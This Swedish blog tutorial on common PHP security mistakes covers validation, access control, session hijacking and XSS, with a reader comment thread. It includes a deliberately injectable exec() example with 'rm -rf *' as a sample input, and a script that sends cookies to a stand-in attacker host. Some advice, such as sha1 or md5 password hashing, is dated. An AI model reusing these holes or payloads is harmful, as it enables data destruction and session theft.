Jag säger bara en sak: Tack gode Gud för karlar. DDo$ – Distributed Denial of Dollars!
Apr 20

PHP är ett utmärkt språk för snabb utveckling av dynamiska webbsidor. Det har också många möjligheter som är enkelt för nybörjare, bara att det att det inte kräver att man deklarerar variabler. Hur som helst, många av dessa möjligheter är också dess nackdel, så som att man bygger säkerhetshål som släpper in obehöriga till webbsidan. Många mailinglistor, forum och bloggar rapporterar stadigt om nya säkerhetshål i PHP applikationer, men PHP kan vara lika säkert som vilket annat språk som helst om man bara förstår dom vanligaste missarna man kan göra.

Jag skall gå igenom dom vanligaste missarna som kan resultera i säkerhetshål och visa exempel på hur man kan göra för att undvika detta. Jag hoppas att du som läsare skall förstå hur man kan undvika detta. Genom att förstå varje miss hjälper dig att undvika misstagen i dina script.

Säkerhet är en process, inte en produkt, och genom att ha en tänka på säkerheten när man programmerar sin applikation så kommer du att producera en tätare och mer robust kod.

Ej kontrollerade inmatningar

Ett av dom (om inte det) vanligaste säkerhetshålet i PHP är icke kontrollerad data. När en användare som kan fylla i formulär kan helt enkelt inte bli litad på. Du skall alltid anta att varje användare som kommer att använda din applikation är illvillig, för att det är alltid någon som kommer att bli det. Ej kontrollerad eller ej korrekt kontrollerad är grunden till att många brister förekommer. Men vi kommer till det senare.

Som ett exempel, du kommer att skriva följande kod för att tillåta en användare att visa en kalender som visar en specifik månad genom att anropa UNIX kommandot ”cal”.

$month = $_GET['month'];
$year = $_GET['year'];

exec("cal $month $year", $result);
print "<PRE>";
foreach ($result as $r) { print "$r<BR>"; }
print "</PRE>";

Denna koden har ett stort säkerhetshål, detta genom att den $_GET['month'] och $_GET['year'] blir inte validerade på något sätt. Applikationen gör exakt vad den skall göra, så länge month är ett värde mellan 1 och 12, och year är ett korrekt 4-siffrigt årtal. Men, en elak användare kanske skriver ”ls -l” istället för ett årtal och kan därmed se en listning av hela din webbsidas html katalog. En extremt elak användare kan skriva ”rm -rf *” istället och därmed radera hela din websida!

Den korrekta vägen att göra detta är att kontrollera att year och month verkligen är vad du vill att det skall vara. Använd inte JavaScript för denna kontroll; denna form av validering kommer man enkelt runt genom att skapa ett eget formulär eller genom att stänga av javascript. Javascript validering här är bra på ett sätt, att kontrollera formuläret och underrätta användaren om att inmatningen är felaktig. För att göra detta korrekt behöver du lägga till PHP kod som försäkrar dig om att month och year är siffror och enbart siffror, som jag visar nedan.

$month = $_GET['month'];
$year = $_GET['year'];
if (!preg_match("/^[0-9]{1,2}$/", $month)) die("Felaktig månad");
if (!preg_match("/^[0-9]{4}$/", $year)) die("Felaktigt årtal");

exec("cal $month $year", $result);
print "<PRE>";
foreach ($result as $r) { print "$r<BR>"; }
print "</PRE>";

Denna kod kan användas utan att oroa sig för att en användare skall utnyttja något säkerhetshål. Eftersom den tillåter bara siffror. Reguljära uttryck är ett fantastiskt verktyg att använda för att validera inmatningar. De kan vara svåra att få ett grepp om, men när man lärt sig det så är det otroligt kraftfullt att använda. Speciellt i sådana här fall.

Du skall alltid när du validerar användardata neka allting som inte stämmer överrens med det du vill ha. Gå aldrig den vägen att du godkänner allting utom det du vet är skadligt, detta är en känd källa av säkerhetshål. Ibland kommer skadliga användare runt detta genom att till exempel, genom att inkludera skadlig data genom att förvränga det med null tecken. Detta skulle godkännas i din kontroll, men skulle ha en skadlig effekt.

Du skall vara så restriktiv du bara kan när du validerar data. Om några tecken inte behöver inkluderas, så skall du kapa bort dom eller neka det helt och hållet.

Åtkomstkontroll

En annan typ av säkerhetshål, som inte enbart är för PHP, utan är viktig hur som helst, är åtkomstkontroller. Denna brist kan bokstavligen röra om det i skallen på en, speciellt om du har vissa sektioner där din applikation måste vara begränsad till vissa användare, så som att administrations sidan tillåts att göra vissa ändringar, eller visa känslig information.

Du skall kontrollera användarens rättigheter vid varje laddning av sidan i din PHP applikation. Om du enbart kontrollerar användarens uppgifter vid index sidan, en elak användare kan skriva in URLen till en ”djupare” sida, vilket skulle innebära att han kommer förbi denna kontroll.

Den är också bra att man lägger till ett lager av säkerhet till, till exempel, genom att enbart tillåta användarens tillgång genom dennes IP och användarnamn, om du har turen att användarna har ett förutsägbart eller statiskt tilldelat IP. Genom att placera dina filer i en katalog som är skyddad av Apaches .htaccess är också en bra början.

Man skall också placera konfigurations filer utanför html katalogen. Konfigurationsfilerna innehåller oftast uppgifter för databas anslutning och annan information som kan användas av en elak användare för att penetrera eller vanställa din sida, tillåt aldrig att dessa filer att bli visade för någon användare. Använd PHPs include funktion för att inkludera filer från en katalog som man inte kommer åt från webben, tex en katalog ”_includes”, där det finns en .htaccess som innehåller deny from all. Detta är redundant, så alla kataloger i denna katalog skyddas också.

För mina PHP applikationer, så föredrar jag en katalog struktur som visas nedan. Alla funktioner, classer & konfigurations filer är lagrade i _includes. Spara alltid filer som skall inkluderas med .php filändelsen, så även om skyddet faller så kommer webbservern att interpretera PHP koden, och inte visa något för användaren. www & admin är kataloger som bara kan nås via en URL, admin katalogen skyddas även av en .htaccess, och tillåter tillträde enbart om användarnamn och lösenord finns sparade i .htpasswd i roten.

/home
  /httpd
    /www.example.com
    .htpasswd
    /includes
      cart.class.php
      config.php
    /logs
      access_log
      error_log
    /www
      index.php
      /admin
        .htaccess
        index.php

Du skall ställa in så att Apache indexerar index.php och visar den som standard, detta är oftast redan gjort om man har PHP installerat.

Gör aldrig, aldrig en backup av en PHP fil genom att genom att lägga till/byta ut filändelsen mot .bak eller någon annan filändelse. Beroende på din webbserver du använder (Apache har tacksamt skydd mot detta), så kommer PHP koden i filen inte att interpreteras, och det kan hända att den skriver ut koden i klartext, om denna fil skulle innehålla lösenord eller annan känslig information så skulle detta visas för användaren, det kan till och med synas i sökresultaten hos en sökmotor. Döp istället om filen till .bak.php istället. Den bästa lösningen är använda ett revisions system som tex. CVS eller SVN, båda kan vara komplicerade att lära sig, men tiden du spenderar på det kommer att betala sig väl på många sätt. Systemet sparar vartenda version av varje fil i ditt projekt, vilket kan vara ovärdeligt när en ändring skapar problem senare.

Session ID Skydd

Session ID kapning kan vara ett problem med PHP webbsidor. PHP spårning komponent använder ett unikt ID för varje användares session, men om detta ID blir känt för en annan användare, så kan den personen kapa sessionen och därmed se informationen som skall vara skyddad för denne. Session ID kapning kan inte bli helt säker, men om du känner till riskerna så kan du förebygga det väl.

Exempelvis, även efter att en användare har blivit validerad och tilldelat en sessions ID, så skall du alltid validera denne varje gång den gör något känsligt, så som att denne byter användarnamn, lösenord mm. Tillåt aldrig en sessions validerad användare att ändra lösenord utan att låta dom fylla i det gamla lösenordet också. Du skall också försöka låta bli att visa särskilt känslig information, som tex. kreditkortsnummer, till en användare som bara är validerad genom en session.

En användare som skapar en ny session genom att logga skall alltid få ett nytt sessions ID genom att använda session_regenerate_id funktionen. En kapad användare kommer att försöka använda det gamla sessions ID innan man loggade in.

Om din webbsida hanterar kritisk information som tex kreditkortsnummer, använd alltid SSL anslutning. Detta kommer att hjälpa till att förebygga risken för kapning, eftersom man inte kan sniffa trafiken.

Om din webbsida körs på en delat Webserver, var uppmärksam på att vilken sessions variablar som helst kan bli visade för vilken annan användare på samma server. För att mildra detta så kan man spara all känslig information i databasen, istället för i sessionen. Om du måste spara ett lösenord i en session (och jag påpekar att detta bör man inte göra!) så spara det inte i klartext, använd istället sha1() (PHP 4.3+) eller md5() för att spara en hash av lösenordet istället.

if ($_SESSION['password'] == $userpass) {
// gör känsliga saker här
}

Koden ovanför är inte säker, eftersom lösenordet är sparat i ren text i variabeln. Istället använd kod mer som denna.

if ($_SESSION['sha1password'] == sha1($userpass)) {
// gör känsliga saker här
}
SHA-1 algoritmen är inte utan dess brister, och den snabba utvecklingen i dator krat gör det möjligt att generera vad som är känt att kallas kollisioner (olika strängar med samma SHA-1 summa). Men ovanstående teknik är fortfarande ett överlägset sätt än att spara lösenord i klartext. Använd MD5 om du måste, eftersom det är bättre än att använda klartext, men kom ihåg att senaste tidens utveckling gör det möjligt att skapa MD5 kollisioner på mindre än en timme med en standard dator. Idealet, vore att använda en funktion som implementerar SHA-256, vilket man kan använda med hash().

Cross Site Scripting (XSS) Brister

Cross site scripting, eller XSS, brister är ett samlingsnamn där en användare har fått möjligheten att bädda in script kommandon, vanligen JavaScript, i data som blir visade och därmed körs dom av en annan användare.

Till exempel, din applikation har ett forum där personer kan posta inlägg som läses av andra användare, en elak användare kan bädda in en <script> tagg, som visas nedan, vilket skulle innebära att sidan laddas om till en annan sida som är kontrollerad av dom, och skickar med cookie informationen och sessions information som $GET variablar till deras sida, och skickar sedan tillbaka dig som om ingenting har hänt. En elak användare kan därmed hämta alla andra användares cookies och session information, och använda denna inforamtion för en sessions kapning (se ovan) eller en annan attack mot sidan.

<script>
document.location =
	'http://www.badguys.com/cgi-bin/cookie.php?' +
	document.cookie;
</script>

För att motverka denna formen av attack så måste du vara försiktig när du visar information som användare har publicerat. Den enklaste vägen att skydda sig mot detta är att escape:a alla tecken som används i HTML syntax (särskilt &lt; och &gt;) för att bli HTML kodade (&amp;lt; och &amp;gt;), så att den inskickade datan helt enkelt publiceras som ren text. Använd PHPs htmlspecialchars funktionen för detta bruk.
Om din applikation kräver att användarna skall kunna skicka HTML innehåll och det skall behandlas så, så bör du istället filtrera bort potientiella skadliga taggar såsom <script>. Detta är bäst gjort när innehållet först är inskickat, och kommer att kräva lite reguljära uttryck.

Cross Site Scripting FAQcgisecurity.com ger mycket mer information och bakgrund till denna typ av brist och förklarar det mycket väl. Det är en läsning jag verkligen rekommenderar och hoppas ni förstår den. XSS brister kan vara svårt att se och det kan hända den bäste när man bygger en applikation.

Sidor: 1 2

3 kommentarer to “PHP Säkerhet”

  1. 1
    Kommentar av Daniel:

    Me like big time!
    Du får definitivt en permanent länkning till denna artikeln när jag fått pli på RRnet’s frontsida. :)

    Fler borde lära sig om dessa saker i PHP, ist för att ordna till så vi andra får bita i det sura äpplet och böka med PHP’s safe_mode…

    • 1.1
      Kommentar av TXC:

      Man tackar man tackar. Det är hela vitsen att folk skall äntligen fatta.

      safe_mode, gör sitt jobb, men det är fel väg att gå. Tex. Apache, med fast_cgi så gör den ett bra jobb, och kör scripten som användaren, sedan med php.ini där man kan sätta open_basedir mm. Så blir det säkert.

      Skall lägga till det jag nämnde precis i texten. En länk hade uppskattats. :D

      • 1.1.1
        Kommentar av Daniel:

        Ej att förglömma är att PHP inställningar även kan sättas individuellt på olika VirtualHost’s i Apache. Och därigenom anpassa konfigurationen efter specifika miljöer.
        Sen kan man ifrågasätta applikationer som t.ex. kräver Register Globals.
        Safe_Mode är bra, men det är ingen lösning i slutändan. Folk måste förstå det.
        Och det finns fler fall där det krånglar till saker, än hjälper.
        Kan man bara skriva säkert nog, och misstänka allting (t.ex. med variabler man stoppar in i MySQL (genom att köra en extra kontrollfunktion, även om man har tvättat variablerna före) så kommer man långt.
        Folk borde lära sig att skriva bra, säker kod.
        Länken kommer, har bara en HEL del kvar att skriva på den sidan eftersom det har kommit ett tjog saker emellan.